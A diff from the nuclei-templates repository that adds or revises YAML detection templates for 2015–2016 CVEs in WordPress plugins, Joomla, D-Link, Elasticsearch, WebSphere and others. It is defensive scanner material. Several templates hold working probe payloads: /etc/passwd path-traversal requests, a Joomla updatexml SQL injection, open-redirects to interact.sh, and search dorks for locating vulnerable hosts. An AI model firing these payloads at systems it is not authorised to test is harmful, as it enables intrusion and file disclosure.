b/cves/2015/CVE-2015-5354.yaml new file mode 100644 index 0000000000..f20d2dfa3f --- /dev/null +++ b/cves/2015/CVE-2015-5354.yaml @@ -0,0 +1,31 @@ +id: CVE-2015-5354 + +info: + name: Novius OS 5.0.1-elche - Open Redirect + author: 0x_Akoko + severity: medium + description: Novius OS 5.0.1 (Elche) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirect parameter to admin/nos/login. + reference: + - https://packetstormsecurity.com/files/132478/Novius-OS-5.0.1-elche-XSS-LFI-Open-Redirect.html + - https://vuldb.com/?id.76181 + - http://packetstormsecurity.com/files/132478/Novius-OS-5.0.1-elche-XSS-LFI-Open-Redirect.html + - https://nvd.nist.gov/vul n/detail/CVE-2015-5354 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2015-5354 + cwe-id: CWE-601 + tags: packetstorm,cve,cve2015,redirect,novius + +requests: + - method: GET + path: + - '{{BaseURL}}/novius-os/admin/nos/login?redirect=http://interact.sh' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2015/CVE-2015-5461.yaml b/cves/2015/CVE-2015-5461.yaml index b6140bbf57..5c54d1362f 100644 --- a/cves/2015/CVE-2015-5461.yaml +++ b/cves/2015/CVE-2015-5461.yaml @@ -8,17 +8,21 @@ info: reference: - https://wpscan.com/vulnerability/afc0d5b5-280f-424f-bc3e-d04452e56e16 - https://nvd.nist.gov/vuln/detail/CVE-2015-5461 + - https://wordpress.org/plugins/stageshow/changelog/ + - http://seclists.org/fulldisclosure/2015/Jul/27 classification: cve-id: CVE-2015-5461 - tags: redirect,cve,cve2015,wordpress,wp-plugin + metadata: + google-query: inurl:"/wp-content/plugins/stageshow/" + tags: wpscan,seclists,redirect,cve,cve2015,wordpress,wp-plugin requests: - method: GET path: - - "{{BaseURL}}/wp-content/plugins/stageshow/stageshow_redirect.php?url=http%3A%2F%2Fexample.com" + - "{{BaseURL}}/wp-content/plugins/stageshow/stageshow_redirect.php?url=http%3A%2F%2Finteract.sh" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header diff --git a/cves/2015/CVE-2015-5469.yaml b/cves/2015/CVE-2015-5469.yaml new file mode 100644 index 0000000000..e62b890c74 --- /dev/null +++ b/cves/2015/CVE-2015-5469.yaml @@ -0,0 +1,33 @@ +id: CVE-2015-5469 +info: + name: Wordpress MDC YouTube Downloader plugin v2.1.0 - Remote file download + author: 0x_Akoko + severity: high + description: Absolute path traversal vulnerability in the MDC YouTube Downloader plugin 2.1.0 for WordPress allows remote attackers to read arbitrary files via a full pathname in the file parameter to includes/download.php. + reference: + - https://www.openwall.com/lists/oss-security/2015/07/10/5 + - https://www.cvedetails.com/cve/CVE-2015-5469/ + - http://www.vapid.dhs.org/advisory.php?v=133 + - http://www.openwall.com/lists/oss-security/2015/07/10/5 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2015-5469 + cwe-id: CWE-22 + tags: cve,cve2015,wp,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/cves/2015/CVE-2015-5471.yaml b/cves/2015/CVE-2015-5471.yaml index 25e4883dfb..e59da8f5da 100644 --- a/cves/2015/CVE-2015-5471.yaml +++ b/cves/2015/CVE-2015-5471.yaml @@ -9,13 +9,16 @@ info: - https://wpscan.com/vulnerability/b00d9dda-721d-4204-8995-093f695c3568 - http://www.vapid.dhs.org/advisory.php?v=134 - https://nvd.nist.gov/vuln/detail/CVE-2015-5471 + - http://packetstormsecurity.com/files/132653/WordPress-WP-SwimTeam-1.44.10777-Arbitrary-File-Download.html + remediation: Upgrade to Swim Team version 1.45 or newer. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2015-5471 cwe-id: CWE-22 - remediation: Upgrade to Swim Team version 1.45 or newer. - tags: cve,cve2015,wordpress,wp-plugin,lfi + metadata: + google-query: inurl:"/wp-content/plugins/wp-swimteam" + tags: cve,cve2015,wordpress,wp-plugin,lfi,wpscan,packetstorm requests: - method: GET diff --git a/cves/2015/CVE-2015-5531.yaml b/cves/2015/CVE-2015-5531.yaml index 625872fd17..5b2fae0e33 100644 --- a/cves/2015/CVE-2015-5531.yaml +++ b/cves/2015/CVE-2015-5531.yaml @@ -1,16 +1,18 @@ id: CVE-2015-5531 info: - name: ElasticSearch directory traversal vulnerability (CVE-2015-5531) + name: ElasticSearch <1.6.1 - Local File Inclusion author: princechaddha severity: high - description: Directory traversal vulnerability in Elasticsearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls. + description: ElasticSearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls. reference: - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-5531 - https://nvd.nist.gov/vuln/detail/CVE-2015-5531 + - http://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html + - https://www.elastic.co/community/security/ classification: cve-id: CVE-2015-5531 - tags: cve,cve2015,elasticsearch + tags: vulhub,packetstorm,cve,cve2015,elasticsearch requests: - raw: @@ -53,3 +55,5 @@ requests: - type: status status: - 400 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-5688.yaml b/cves/2015/CVE-2015-5688.yaml index 55e9b3a63c..f4dac34607 100644 --- a/cves/2015/CVE-2015-5688.yaml +++ b/cves/2015/CVE-2015-5688.yaml @@ -1,13 +1,15 @@ id: CVE-2015-5688 info: - name: Geddy before v13.0.8 LFI + name: Geddy <13.0.8 - Local File Inclusion author: pikpikcu severity: high - description: Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI. + description: Geddy prior to version 13.0.8 contains a directory traversal vulnerability in lib/app/index.js that allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI. reference: - https://nodesecurity.io/advisories/geddy-directory-traversal - https://github.com/geddy/geddy/issues/697 + - https://github.com/geddy/geddy/commit/2de63b68b3aa6c08848f261ace550a37959ef231 + - https://nvd.nist.gov/vuln/detail/CVE-2015-5688 classification: cve-id: CVE-2015-5688 tags: cve,cve2015,geddy,lfi @@ -27,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-6477.yaml b/cves/2015/CVE-2015-6477.yaml index ec71bd0334..a14472ddd7 100644 --- a/cves/2015/CVE-2015-6477.yaml +++ b/cves/2015/CVE-2015-6477.yaml @@ -1,17 +1,17 @@ id: CVE-2015-6477 info: - name: Nordex NC2 'username' Parameter XSS + name: Nordex NC2 - Cross-Site Scripting author: geeknik severity: medium - description: An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + description: Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://seclists.org/fulldisclosure/2015/Dec/117 - https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01 - https://nvd.nist.gov/vuln/detail/CVE-2015-6477 classification: cve-id: CVE-2015-6477 - tags: cve,cve2015,xss,iot,nordex,nc2 + tags: xss,iot,nordex,nc2,seclists,cve,cve2015 requests: - method: POST @@ -30,3 +30,5 @@ requests: part: body words: - "" + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2015/CVE-2015-6544.yaml b/cves/2015/CVE-2015-6544.yaml index 2babac827a..61f14ea40b 100644 --- a/cves/2015/CVE-2015-6544.yaml +++ b/cves/2015/CVE-2015-6544.yaml @@ -1,12 +1,15 @@ id: CVE-2015-6544 info: - name: iTop XSS + name: Combodo iTop <2.2.0-2459 - Cross-Site Scripting author: pikpikcu severity: medium description: | - Cross-site scripting (XSS) vulnerability in application/dashboard.class.inc.php in Combodo iTop before 2.2.0-2459 allows remote attackers to inject arbitrary web script or HTML via a dashboard title. + Combodo iTop before 2.2.0-2459 contains a cross-site scripting vulnerability in application/dashboard.class.inc.php which allows remote attackers to inject arbitrary web script or HTML via a dashboard title. reference: + - https://www.htbridge.com/advisory/HTB23268 + - http://sourceforge.net/p/itop/tickets/1114/ + - http://sourceforge.net/p/itop/code/3662/ - https://nvd.nist.gov/vuln/detail/CVE-2015-6544 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -35,3 +38,5 @@ requests: part: header words: - text/html + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2015/CVE-2015-6920.yaml b/cves/2015/CVE-2015-6920.yaml index 8646c46d41..473b0a70fd 100644 --- a/cves/2015/CVE-2015-6920.yaml +++ b/cves/2015/CVE-2015-6920.yaml @@ -1,16 +1,17 @@ id: CVE-2015-6920 info: - name: sourceAFRICA <= 0.1.3 - Unauthenticated Cross-Site Scripting (XSS) + name: WordPress sourceAFRICA <=0.1.3 - Cross-Site Scripting author: daffainfo severity: medium - description: WordPress sourceAFRICA plugin version 0.1.3 suffers from a cross site scripting vulnerability. + description: WordPress sourceAFRICA plugin version 0.1.3 contains a cross-site scripting vulnerability. reference: - - https://packetstormsecurity.com/files/133371/ + - http://packetstormsecurity.com/files/133371/WordPress-sourceAFRICA-0.1.3-Cross-Site-Scripting.html + - https://wpvulndb.com/vulnerabilities/8169 - https://nvd.nist.gov/vuln/detail/CVE-2015-6920 classification: cve-id: CVE-2015-6920 - tags: cve,cve2015,wordpress,wp-plugin,xss + tags: wp-plugin,xss,packetstorm,cve,cve2015,wordpress requests: - method: GET @@ -32,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2015/CVE-2015-7245.yaml b/cves/2015/CVE-2015-7245.yaml new file mode 100644 index 0000000000..8232e6846b --- /dev/null +++ b/cves/2015/CVE-2015-7245.yaml @@ -0,0 +1,32 @@ +id: CVE-2015-7245 + +info: + name: D-Link DVG-N5402SP - Path Traversal + author: 0x_Akoko + severity: high + description: | + Directory traversal vulnerability in D-Link DVG-N5402SP with firmware W1000CN-00, W1000CN-03, or W2000EN-00 allows remote attackers to read sensitive information via a .. (dot dot) in the errorpage parameter. + reference: + - https://packetstormsecurity.com/files/135590/D-Link-DVG-N5402SP-Path-Traversal-Information-Disclosure.html + - https://www.exploit-db.com/exploits/39409/ + - https://nvd.nist.gov/vuln/detail/CVE-2015-7245 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2015-7245 + cwe-id: CWE-22 + tags: cve,cve2015,dlink,lfi,packetstorm,edb + +requests: + - raw: + - | + POST /cgibin/webproc HTTP/1.1 + Host: {{Hostname}} + + getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/passwd&var%3Amenu=setup&var%3Apage=connected&var%&objaction=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh + + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" diff --git a/cves/2015/CVE-2015-7297.yaml b/cves/2015/CVE-2015-7297.yaml index 0080e52970..d6bcf99033 100644 --- a/cves/2015/CVE-2015-7297.yaml +++ b/cves/2015/CVE-2015-7297.yaml @@ -1,26 +1,30 @@ id: CVE-2015-7297 info: - name: Joomla Core SQL Injection + name: Joomla! Core SQL Injection author: princechaddha severity: high - description: A SQL injection vulnerability in Joomla 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands. + description: A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands. reference: - https://nvd.nist.gov/vuln/detail/CVE-2015-7297 - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html + - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/ classification: cve-id: CVE-2015-7297 tags: cve,cve2015,joomla,sqli +variables: + num: "999999999" + requests: - method: GET path: - - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)" + - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)" matchers: - type: word words: - - "cf79ae6addba60ad018347359bd144d2" + - '{{md5({{num}})}}' part: body # Enhanced by mp on 2022/03/02 diff --git a/cves/2015/CVE-2015-7377.yaml b/cves/2015/CVE-2015-7377.yaml index 04ab4ee892..cb6e058ee7 100644 --- a/cves/2015/CVE-2015-7377.yaml +++ b/cves/2015/CVE-2015-7377.yaml @@ -1,16 +1,18 @@ id: CVE-2015-7377 info: - name: Pie-Register <= 2.0.18 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: WordPress Pie-Register <2.0.19 - Cross-Site Scripting author: daffainfo severity: medium - description: Cross-site scripting (XSS) vulnerability in pie-register/pie-register.php in the Pie Register plugin before 2.0.19 for WordPress allows remote attackers to inject arbitrary web script or HTML via the invitaion_code parameter in a pie-register page to the default URI. + description: WordPress Pie Register before 2.0.19 contains a reflected cross-site scripting vulnerability in pie-register/pie-register.php which allows remote attackers to inject arbitrary web script or HTML via the invitaion_code parameter in a pie-register page to the default URL. reference: - https://packetstormsecurity.com/files/133928/WordPress-Pie-Register-2.0.18-Cross-Site-Scripting.html + - https://github.com/GTSolutions/Pie-Register/blob/2.0.19/readme.txt - https://nvd.nist.gov/vuln/detail/CVE-2015-7377 + - http://packetstormsecurity.com/files/133928/WordPress-Pie-Register-2.0.18-Cross-Site-Scripting.html classification: cve-id: CVE-2015-7377 - tags: cve,cve2015,wordpress,wp-plugin,xss + tags: cve2015,wordpress,wp-plugin,xss,packetstorm,cve requests: - method: GET @@ -32,3 +34,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2015/CVE-2015-7450.yaml b/cves/2015/CVE-2015-7450.yaml index e484558c5d..feebde88db 100644 --- a/cves/2015/CVE-2015-7450.yaml +++ b/cves/2015/CVE-2015-7450.yaml @@ -4,17 +4,20 @@ info: name: IBM WebSphere Java Object Deserialization - Remote Code Execution author: wdahlenb severity: critical - description: "IBM Websphere Application Server 7, 8, and 8.5 have a deserialization vulnerability in the SOAP Connector (port 8880 by default)." + description: IBM Websphere Application Server 7, 8, and 8.5 have a deserialization vulnerability in the SOAP Connector (port 8880 by default). reference: - https://github.com/Coalfire-Research/java-deserialization-exploits/blob/main/WebSphere/websphere_rce.py - https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ - https://nvd.nist.gov/vuln/detail/CVE-2015-7450 + - http://www-01.ibm.com/support/docview.wss?uid=swg21972799 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2015-7450 cwe-id: CWE-94 - tags: cve,cve2015,websphere,deserialization,rce,oast,ibm,java + metadata: + shodan-query: http.html:"IBM WebSphere Portal" + tags: cve,cve2015,websphere,deserialization,rce,oast,ibm,java,kev requests: - raw: diff --git a/cves/2015/CVE-2015-7780.yaml b/cves/2015/CVE-2015-7780.yaml index 79d7d4a33a..5286df5caf 100644 --- a/cves/2015/CVE-2015-7780.yaml +++ b/cves/2015/CVE-2015-7780.yaml @@ -1,19 +1,22 @@ id: CVE-2015-7780 info: - name: ManageEngine Firewall Analyzer 8.0 - Directory Traversal + name: ManageEngine Firewall Analyzer <8.0 - Local File Inclusion author: daffainfo severity: medium - description: Directory traversal vulnerability in ManageEngine Firewall Analyzer before 8.0. + description: ManageEngine Firewall Analyzer before 8.0 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/35933 - https://www.cvedetails.com/cve/CVE-2015-7780/ + - http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-000185.html + - http://jvn.jp/en/jp/JVN21968837/index.html + - https://nvd.nist.gov/vuln/detail/CVE-2015-7780 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2015-7780 cwe-id: CWE-22 - tags: cve,cve2015,lfi,manageengine + tags: manageengine,edb,cve,cve2015,lfi requests: - method: GET @@ -37,3 +40,5 @@ requests: part: header words: - "application/xml" + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2015/CVE-2015-7823.yaml b/cves/2015/CVE-2015-7823.yaml index 84db6c7341..5df9229ec3 100644 --- a/cves/2015/CVE-2015-7823.yaml +++ b/cves/2015/CVE-2015-7823.yaml @@ -8,17 +8,18 @@ info: reference: - https://packetstormsecurity.com/files/133981/Kentico-CMS-8.2-Cross-Site-Scripting-Open-Redirect.html - https://nvd.nist.gov/vuln/detail/CVE-2015-7823 + - http://packetstormsecurity.com/files/133981/Kentico-CMS-8.2-Cross-Site-Scripting-Open-Redirect.html classification: cve-id: CVE-2015-7823 - tags: cve,cve2015,kentico,redirect + tags: cve,cve2015,kentico,redirect,packetstorm requests: - method: GET path: - - "{{BaseURL}}/CMSPages/GetDocLink.ashx?link=https://example.com/" + - "{{BaseURL}}/CMSPages/GetDocLink.ashx?link=https://interact.sh/" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header diff --git a/cves/2015/CVE-2015-8349.yaml b/cves/2015/CVE-2015-8349.yaml index 3f57ae24be..306f594c2f 100644 --- a/cves/2015/CVE-2015-8349.yaml +++ b/cves/2015/CVE-2015-8349.yaml @@ -1,11 +1,13 @@ id: CVE-2015-8349 info: - name: SourceBans XSS + name: SourceBans <2.0 - Cross-Site Scripting author: pikpikcu severity: medium - description: Cross-site scripting (XSS) vulnerability in SourceBans before 2.0 pre-alpha allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php. + description: SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php. reference: + - https://www.htbridge.com/advisory/HTB23273 + - http://web.archive.org/web/20201207072921/https://www.securityfocus.com/archive/1/537018/100/0/threaded - https://nvd.nist.gov/vuln/detail/CVE-2015-8349 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +36,5 @@ requests: part: header words: - text/ + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2015/CVE-2015-8399.yaml b/cves/2015/CVE-2015-8399.yaml index 6a968d2505..9125c4579f 100644 --- a/cves/2015/CVE-2015-8399.yaml +++ b/cves/2015/CVE-2015-8399.yaml @@ -7,6 +7,8 @@ info: description: Atlassian Confluence before 5.8.17 allows remote authenticated users to read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action. reference: - https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro + - https://www.exploit-db.com/exploits/39170/ + - http://web.archive.org/web/20201209041130/https://www.securityfocus.com/archive/1/537232/100/0/threaded classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N cvss-score: 4.3 @@ -14,7 +16,7 @@ info: cwe-id: CWE-200 metadata: shodan-query: http.component:"Atlassian Confluence" - tags: cve,cve2015,atlassian,confluence + tags: edb,cve,cve2015,atlassian,confluence requests: - method: GET diff --git a/cves/2015/CVE-2015-8813.yaml b/cves/2015/CVE-2015-8813.yaml index 01ed86a7ec..6bbb0c5228 100644 --- a/cves/2015/CVE-2015-8813.yaml +++ b/cves/2015/CVE-2015-8813.yaml @@ -1,13 +1,15 @@ id: CVE-2015-8813 info: - name: Umbraco SSRF Vulnerability in Feedproxy.aspx + name: Umbraco <7.4.0- Server-Side Request Forgery author: emadshanab severity: high - description: A Server Side Request Forgery (SSRF) vulnerability in Umbraco in Feedproxy.aspx allows attackers to send arbitrary HTTP GET requests.Once you change the URL to the http://local/Umbraco/feedproxy.aspx?url=http://127.0.0.1:80/index, you able to access the localhost application of the server + description: Umbraco before version 7.4.0 contains a server-side request forgery vulnerability in feedproxy.aspx that allows attackers to send arbitrary HTTP GET requests via http://local/Umbraco/feedproxy.aspx?url=http://127.0.0.1:80/index. reference: - https://blog.securelayer7.net/umbraco-the-open-source-asp-net-cms-multiple-vulnerabilities/ - https://nvd.nist.gov/vuln/detail/CVE-2015-8813 + - https://github.com/umbraco/Umbraco-CMS/commit/924a016ffe7ae7ea6d516c07a7852f0095eddbce + - http://www.openwall.com/lists/oss-security/2016/02/18/8 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N cvss-score: 8.2 @@ -25,3 +27,5 @@ requests: part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-9414.yaml b/cves/2015/CVE-2015-9414.yaml index 3c302799b8..1fc165349d 100644 --- a/cves/2015/CVE-2015-9414.yaml +++ b/cves/2015/CVE-2015-9414.yaml @@ -1,19 +1,23 @@ id: CVE-2015-9414 info: - name: WP Symposium <= 15.8.1 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: WordPress Symposium <=15.8.1 - Cross-Site Scripting author: daffainfo severity: medium - description: The wp-symposium plugin through 15.8.1 for WordPress has XSS via the wp-content/plugins/wp-symposium/get_album_item.php?size parameter. + description: WordPress Symposium through 15.8.1 contains a reflected cross-site scripting vulnerability via the wp-content/plugins/wp-symposium/get_album_item.php?size parameter which allows an attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://wpscan.com/vulnerability/2ac2d43f-bf3f-4831-9585-5c5484051095 + - https://wpvulndb.com/vulnerabilities/8175 + - https://wordpress.org/plugins/wp-symposium/#developers - https://nvd.nist.gov/vuln/detail/CVE-2015-9414 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2015-9414 cwe-id: CWE-79 - tags: cve,cve2015,wordpress,wp-plugin,xss + metadata: + google-query: inurl:"/wp-content/plugins/wp-symposium" + tags: xss,wpscan,cve,cve2015,wordpress,wp-plugin requests: - method: GET @@ -35,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2015/CVE-2015-9480.yaml b/cves/2015/CVE-2015-9480.yaml index ac300031f7..8a5c211e3d 100644 --- a/cves/2015/CVE-2015-9480.yaml +++ b/cves/2015/CVE-2015-9480.yaml @@ -13,7 +13,9 @@ info: cvss-score: 7.5 cve-id: CVE-2015-9480 cwe-id: CWE-22 - tags: cve,cve2015,wordpress,wp-plugin,lfi + metadata: + google-query: inurl:"/wp-content/plugins/robotcpa" + tags: wp-plugin,lfi,edb,cve,cve2015,wordpress requests: - method: GET diff --git a/cves/2016/CVE-2016-0957.yaml b/cves/2016/CVE-2016-0957.yaml index c4aeae7709..7635d227b6 100644 --- a/cves/2016/CVE-2016-0957.yaml +++ b/cves/2016/CVE-2016-0957.yaml @@ -1,16 +1,20 @@ id: CVE-2016-0957 info: - name: Adobe AEM Console Disclosure + name: Adobe AEM Dispatcher <4.15 - Rules Bypass author: geeknik severity: high description: Dispatcher before 4.1.5 in Adobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 does not properly implement a URL filter, which allows remote attackers to bypass dispatcher rules via unspecified vectors. reference: - https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html + - https://helpx.adobe.com/security/products/experience-manager/apsb16-05.html + - https://nvd.nist.gov/vuln/detail/CVE-2016-0957 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2016-0957 + metadata: + shodan-query: http.component:"Adobe Experience Manager" tags: cve,cve2016,adobe,aem requests: @@ -31,3 +35,5 @@ requests: - "java.lang" - "(Runtime)" condition: and + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2016/CVE-2016-1000126.yaml b/cves/2016/CVE-2016-1000126.yaml index a9e7779769..fbf986d1c7 100644 --- a/cves/2016/CVE-2016-1000126.yaml +++ b/cves/2016/CVE-2016-1000126.yaml @@ -1,17 +1,22 @@ id: CVE-2016-1000126 info: - name: Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS) + name: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin admin-font-editor v1.8 + description: WordPress Admin Font Editor 1.8 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=526 + - https://wordpress.org/plugins/admin-font-editor + - http://web.archive.org/web/20210123183728/https://www.securityfocus.com/bid/93896/ - https://nvd.nist.gov/vuln/detail/CVE-2016-1000126 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000126 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/admin-font-editor" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -34,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1000127.yaml b/cves/2016/CVE-2016-1000127.yaml index 4dbc7babae..cb97df8ff2 100644 --- a/cves/2016/CVE-2016-1000127.yaml +++ b/cves/2016/CVE-2016-1000127.yaml @@ -1,11 +1,14 @@ id: CVE-2016-1000127 info: - name: AJAX Random Post <= 2.00 - Reflected Cross-Site Scripting (XSS) + name: WordPress AJAX Random Post <=2.00 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin ajax-random-post v2.00 + description: WordPress AJAX Random Post 2.00 is vulnerable to reflected cross-site scripting. reference: + - http://www.vapidlabs.com/wp/wp_advisory.php?v=494 + - https://wordpress.org/plugins/ajax-random-post + - http://web.archive.org/web/20210614214105/https://www.securityfocus.com/bid/93895 - https://nvd.nist.gov/vuln/detail/CVE-2016-1000127 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/05 diff --git a/cves/2016/CVE-2016-1000128.yaml b/cves/2016/CVE-2016-1000128.yaml index b824ab00f2..d2284111d6 100644 --- a/cves/2016/CVE-2016-1000128.yaml +++ b/cves/2016/CVE-2016-1000128.yaml @@ -1,18 +1,21 @@ id: CVE-2016-1000128 info: - name: anti-plagiarism <= 3.60 - Reflected Cross-Site Scripting (XSS) + name: WordPress anti-plagiarism <=3.60 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin anti-plagiarism v3.60 + description: WordPress anti-plagiarism 3.6.0 and prior are vulnerable to reflected cross-site scripting. reference: - http://www.vapidlabs.com/wp/wp_advisory.php?v=161 - https://wordpress.org/plugins/anti-plagiarism + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000128 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-1000128 cwe-id: CWE-79 + metadata: + google-query: inurl:"/wp-content/plugins/anti-plagiarism" tags: cve,cve2016,wordpress,xss,wp-plugin requests: @@ -35,3 +38,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/05 diff --git a/cves/2016/CVE-2016-1000129.yaml b/cves/2016/CVE-2016-1000129.yaml index 1f98da8d89..c15be50002 100644 --- a/cves/2016/CVE-2016-1000129.yaml +++ b/cves/2016/CVE-2016-1000129.yaml @@ -1,17 +1,22 @@ id: CVE-2016-1000129 info: - name: defa-online-image-protector <= 3.3 - Reflected Cross-Site Scripting (XSS) + name: WordPress defa-online-image-protector <=3.3 - Cross-Site Scripting author: daffainfo severity: medium - description: Reflected XSS in wordpress plugin defa-online-image-protector v3.3 + description: WordPress defa-online-image-protector 3.3 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: + - https://wordpress.org/plugins/defa-online-image-protector + - http://www.vapidlabs.com/wp/wp_advisory.php?v=449 + - 